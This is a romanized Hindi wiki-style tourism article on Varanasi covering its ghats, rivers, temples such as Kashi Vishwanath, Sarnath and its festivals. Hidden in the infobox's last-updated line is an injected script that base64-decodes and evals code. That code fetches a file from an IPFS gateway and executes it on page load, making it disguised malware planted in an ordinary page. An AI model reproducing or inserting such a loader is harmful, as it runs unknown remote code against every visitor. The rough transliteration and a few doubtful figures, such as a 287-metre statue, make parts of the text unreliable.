वाराणसी पर्यटन

varanasi vishay soochi

parichay    itihas    bhoogol    arthavyavastha    shiksha    sanskriti    dharmik sthal    paryatan    chitravali    vistrit alekh

varanasi paryatan
varanasi ka drishy|200px|center
vivaran	varanasi, banaras ya kashi bhi kahalata hai. varanasi dakshin-poorvi uttar pradesh rajy, uttari-madhy bharat mean ganga nadi ke baean tat par sthit hai aur hinduoan ke sat pavitr nagaroan mean se ek hai.
rajy	uttar pradesh
zila	varanasi zila
bhaugolik sthiti	uttar- 25.282°, poorv- 82.9563°
marg sthiti	varanasi, ilahabad se 125 kilomitar pashchim, lakhanoo se 281 kilomitar dakshin-poorv tatha dilli se lagabhag 780 kilomitar dakshin-poorv mean hai.
kab jaean	aktoobar se march
kaise pahuanchean	havaee jahaz, rel, bas, taiksi
havaee adda	lal bahadur shastri havaee adda
relave steshan	varanasi jankshan, mugalasaray jankshan
bas adda	aantarrajyiy bas adda ananh‍d vihar
yatayat	aauto riksha, riksha, bas, mini bas, nav, stimar
kya dekhean	vishvanath mandir, kashi hindoo vishvavidyalay, varanasi ki nadiyaan, varanasi ke ghat
kahaan thaharean	hotal, dharmashala, atithi-grah
kya khayean	pan, kachau di-sabzi, chat, thandaee
kya kharidean	banarasi sa di
es.ti.di. kod	0542
e.ti.em	lagabhag sabhi
chitr:Map-icon.gif	googal manachitr, varanasi havaee adda
sanbandhit lekh	ganga nadi, sampoornanand sanskrit vishvavidyalay, mahatma gaandhi kashi vidyapith
bahari k diyaan	adhikarik vebasait
adyatan‎	19:09, 15 march 2013 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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varanasi, banaras ya kashi bhi kahalata hai. varanasi dakshin-poorvi uttar pradesh rajy, uttari-madhy bharat mean ganga nadi ke baean tat par sthit hai aur hinduoan ke sat pavitr shaharoan mean se ek hai. varanasi ek paryatan sthal haian. varanasi mean dekhane ke lie bahut kuchh hai. varanasi mean qarib 2000 mandir haian. varanasi mean sham ke samay ganga ke kinare hone vali arati kafi akarshak hoti hai. hinh‍duoan ke alava bauddh dharm ke anuyayi bhi varanasi mean ghoomane ate haian.

varanasi ke ghat

mukhy lekh : varanasi ke ghat

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varanasi (kashi) mean ganga tat par anek suandar ghat bane haian, ye sabhi ghat kisi n kisi pauranik ya dharmik katha se sanbandhit haian. varanasi ke ghat ganga nadi ke dhanush ki akriti hone ke karan manohari lagate haian. sabhi ghatoan ke poorvarbhimukh hone se sooryoday ke samay ghatoan par pahali kiran dastak deti hai. uttar disha mean rajaghat se prarambh hokar dakshin mean assi ghat tak sau se adhik ghat haian.[[chitr:Ghat-Varanasi-3.jpg|thumb|250px|left|varanasi mean ganga nadi ke ghat]] manikarnika ghat par chita ki agni kabhi shaant nahian hoti, kyoanki banaras ke bahar marane valoan ki antyeshti puny prapti ke liye yahian ki jati hai . kee hindoo manate haian ki varanasi mean marane valoan ko moksh prapt hota hai.

varanasi ki nadiyaan

mukhy lekh : varanasi ki nadiyaan

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varanasi ka vistar ganga nadi ke do sangamoan varuna aur asi nadi se sangam ke bich bataya jata hai. in sangamoan ke bich ki doori lagabhag 2.5 mil hai. is doori ki parikrama hinduoan mean panchakosi yatra ya panchakosi parikrama kahalati hai. varanasi zile ki nadiyoan ke vistar se adhyayan karane par yah jnat hota hai ki varanasi mean to prasravak nadiyaan hai lekin chandauli mean nahian hai jisase us zile mean jhilean aur daladal haian, adhik barasat hone par gaanv pani se bhar jate haian tatha fasal ko kafi nukasan pahuanchata hai.

varanasi ke mandir

varanasi mean kee pramukh mandir sthit haian. varanasi kee pramukh mandiroan ka nagar hai. varanasi mean lagabhag har ek chaurahe par ek mandir sthit hai. dainik sthaniy archana ke liye aise chhote mandir sahayak hote haian. in chhote mandiroan ke sath hi varanasi mean dheroan b de mandir bhi haian, jo samay-samay par varanasi ke itihas mean banavaye gaye the.

kashi vishh‍vanath mandir

mukhy lekh : vishvanath jyotirliang

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mool kashi vishh‍vanath mandir bahut chhota tha. 18vian shatabh‍di mean iandaura ki rani ahilh‍yabaee holh‍kar ne ise bhavh‍y roop pradan kiya. sikh raja ranjit sianh ne 1835 ee. mean is mandir ke shikhar ko sone se madhavaya tha. is karan is mandir ka ek anh‍y nam golh‍den temh‍pal bhi p da. yah mandir kee bar dhh‍vash‍t hua. vartaman mean jo mandir hai usaka nirman chauthi bar mean hua hai. kutubuddin aibak ne sarvapratham ise 1194 ee. mean dhh‍vash‍t kiya tha. rajiya sulh‍tan (1236-1240) ne isake dhh‍vansavashesh par rajiya masjid ka nirman karavaya tha. isake bad is mandir ka nirman abhimukh‍teshh‍var mandir ke nazadik banavaya gaya. bad mean is mandir ko jaunapur ke sharki rajaoan ne to dava diya. 1490 ee. mean is mandir ko siankadar lodi ne dhh‍vans karavaya tha. 1585 ee. mean banaras ke ek prasiddh vh‍yapari todaramal ne is mandir ka nirman karavaya. 1669 ee. mean is mandir ko aurangajeb ne pun: to dava diya. aurangajeb ne bhi is mandir ke dhh‍vansavashesh par ek masjid ka nirman karavaya tha. [[chitr:Vishwanath-Temple-Varanasi.jpg|vishvanath mandir, varanasi
Vishwanath Temple, Varanasi|thumb|200px|left]] mool mandir mean sthit nandi bail ki moortti ka ek tuk da abhi bhi jana vapi masjid mean dikhata hai. isi masjid ke samip ek jana vapi kuana bhi hai. vishh‍vas kiya jata hai ki prachin kal mean ise kuean se abhimukh‍teshh‍var mandir mean pani ki apoorti hoti thi. 1669 ee. mean jab kashi vishh‍vanath ke mandir ko aurangajeb dvara to da ja raha tha tab is mandir mean sh‍thapit vishh‍vanath ki moortti ko isi kuean mean chhipa diya gaya tha. jab vartaman kashi vishh‍vanath ka nirman hua tab is kuane se moortti ko nikal kar pun: mandir mean sh‍thapit kiya gaya. is mandir parisar mean kee anh‍y chhote-chhote mandir bhi haian. ye mandir vishh‍nu, abhimukh‍ta vinayak, danh‍dapanishh‍var, kal bhairav tatha virupaksh gauri ka mandir hai. dashh‍vamedyaghat se yah mandir adhe kilomitar ki doori par hai. yah mandir chaubis ghanh‍te khula rahata hai.

doodh ka karz mandir

mukhy lekh : doodh ka karz mandir varanasi

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• varanasi mean 'doodh ka karj' mandir prasiddh mandir hai.
• paryatakoan ko varanasi mean yah mandir zaroor dekhana chahie.

anh‍napoorna ka mandir

mukhy lekh : anh‍napoorna mandir varanasi

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• kashi vishh‍vanath mandir se kuchh hi doori par mata anh‍napoorna ka mandir hai.
• inh‍hean tinoan lokoan ki mata mana jata hai.

[[chitr:Ganga-River-Varanasi-5.jpg|thumb|250px|ganga nadi, varanasi|left]]

sakshi ganesh mandir

mukhy lekh : sakshi ganesh mandir varanasi

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varanasi mean sthit sakshi ganesh mandir ek prasiddh mandir hai.

kashi vishalakshi mandir

mukhy lekh : kashi vishalakshi mandir

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• vishh‍vanath mandir se kuchh hi doori par kashi vishalakshi mandir hai.
• yah pavitr 51 shaktipithoan mean se ek hai.

kedareshh‍var mandir

mukhy lekh : kedareshh‍var mandir varanasi

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[[chitr:Ghat-Varanasi-2.jpg|thumb|250px|varanasi mean ganga nadi ke ghat]]

• kedar ghat ke pas kedareshh‍var mandir hai.
• yah mandir 17vian shatabdi mean aurangajeb ke kahar se bach gaya tha.

vishh‍nu charanapaduka

mukhy lekh : vishh‍nu charanapaduka varanasi

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• manikarnika ghat ke samip vishh‍nu charanapaduka hai.
• ise sangamaramar se chihnit kiya gaya hai.

bhairav mandir

mukhy lekh : bhairav mandir varanasi

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• varanasi mean kali bhairav mandir bhi prasiddh hai.
• yah mandir godauliya chauk se 2 kilomitar uttar-poorv mean taun h aaul ke pas sthit hai.

sita mandir

mukhy lekh : sita mandir varanasi

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• varanasi mean devi sita ka domanjila mandir hai.
• yah mandir manasoon ke mausam mean charoan taraph se pani se ghir jata hai. mana jata hai ki devi sita yahian par dharati mean sama gee thian.

[[chitr:Ghat-Varanasi.jpg|thumb|250px|varanasi mean ganga nadi ke ghat|left]]

viandhh‍yachal

mukhy lekh : viandhh‍yachal mandir varanasi

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• varanasi se viandhh‍yachal mandir 78 kilomitar aur ilahabad se 15 kilomitar ki doori par sthit hai.
• yah ek prasiddh shakh‍tipith hai.

saranath

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[[chitr:Sarnath-Stupa.jpg|thumb|250px|saranath stoop
Sarnath Stupa]] saranath varanasi se 10 kilomitar ki doori par sthit hai. saranath bauddhoan ka ek b da tirthash‍thal hai. yahian mahath‍ma buddh ne jnan praph‍it ke bad pratham upadesh diya tha. yahaan kee sh‍toop tatha mandir hai. chaukhanh‍di sh‍toop, dhamekh stoop tatha dharmarajika stoop yahaan haian. dhamekh stoop usi jagah par bana hua hai jahaan par bhagavan buddh ne doosari bar upadesh diya tha. ise saranath mean sabase pavitr sh‍than mana jata hai. chaukhanh‍di sh‍toop ke nikat hi ek thaee mandir hai. is mandir ka nirman 1976 ee. mean hua tha.

saranath mean ek puratath‍viy sangrahalay ( samay: subah 10 baje se sham 5 baje tak, pravesh shulh‍k: 5 ru., shukravar band) bhi hai. is sangrahalay mean kee uth‍krishh‍t moorttiyaan haian. saranath mean hi ek ashok sh‍tanbh hai. isake alava yahaan buddh ki abhayamudra mean 287 mitar ooanchi moortti hai. yah moortti moortikala ki mathura shaili mean bani huee hai. yahaan ek hiran park bhi hai.

varanasi ke kuand

lolarak kuand

tulasighat se paidal doori par pavitr lolarak kuand hai. mahabharat mean bhi is kunh‍d ka ulh‍lekh milata hai. rani ahilh‍yabaee holh‍kar ne is kunh‍d ke charoan taraph kimati path‍thar se sajavat karavaee thi. yahaan par lolakeshh‍var ka mandir hai. bhado mahine (agash‍t-sitamh‍bar) mean yahaan mela lagata hai.

durga kunh‍d

ash‍si rod se kuchh hi doori par ananh‍d bag ke pas durga kunh‍d hai. yahaan sant bhash‍karanand ki samadhi hai. yahaan par ek durga mandir bhi hai. mangalavar aur shanivar ko is mandir mean bhakh‍toan ki kafi bhi d rahati hai. isi ke pas hanuman ji ka sankatamochan mandir hai. mahatta ki drishti se is mandir ka sh‍than kashi vishh‍vanath aur anh‍napoorna mandir ke bad ata hai.

anh‍y saansh‍kritik uth‍sav

[[chitr:Ghat-Varsanasi-4.jpg|thumb|250px|ganga nadi, varanasi]] phagun (faravari-march) mean shivaratri ke uth‍sav ke dauran yahaan jarur ana chahie. is dauran mandir ke devata ka shrriangar kiya jata hai. rangabhari ekadashi bhi yahaan bahut uth‍sah ke sath manaya jata hai. is dauran shivabhakh‍t bhagavan shiv ki moortti ko lal rang ke choorn se rang dete haian. panchakaroshi yatra prath‍yek sal aprail ke mahine mean hoti hai. durga pooja (sitamh‍bar-akh‍toobar) ke dauran manaya jata hai. bharat milap uth‍sav vijayadashami ko manaya jata hai. is din sansh‍krit vishh‍vavidyalay ke samip mela lagata hai. dipavali ke samay ka yahaan ka ganga sh‍nan bhi kafi prasiddh hai. dipavali ke agale din yahaan anh‍nakoota uth‍sav manaya jata hai. kartik poornima ke dauran yahaan sabhi ghatoan ko mrith‍yu ke devata yamaraj ke samh‍man mean diyoan se sajaya jata hai.

varanasi ke vibhinn drishy

120px|arati, ganga nadi

120px|sooryast ka ek drishy

150px|varanasi mean ganga nadi ke ghat

120px|halavaee ki dukan, varanasi

120px|banaras ka drishy

120px|lal bahadur shastri havaee adda, varanasi

120px|varanasi relave steshan

70px|vishvanath jyotirliang|vishvanath mandir

120px|kashi hiandoo vishvavidyalay

135px|saranath stoop

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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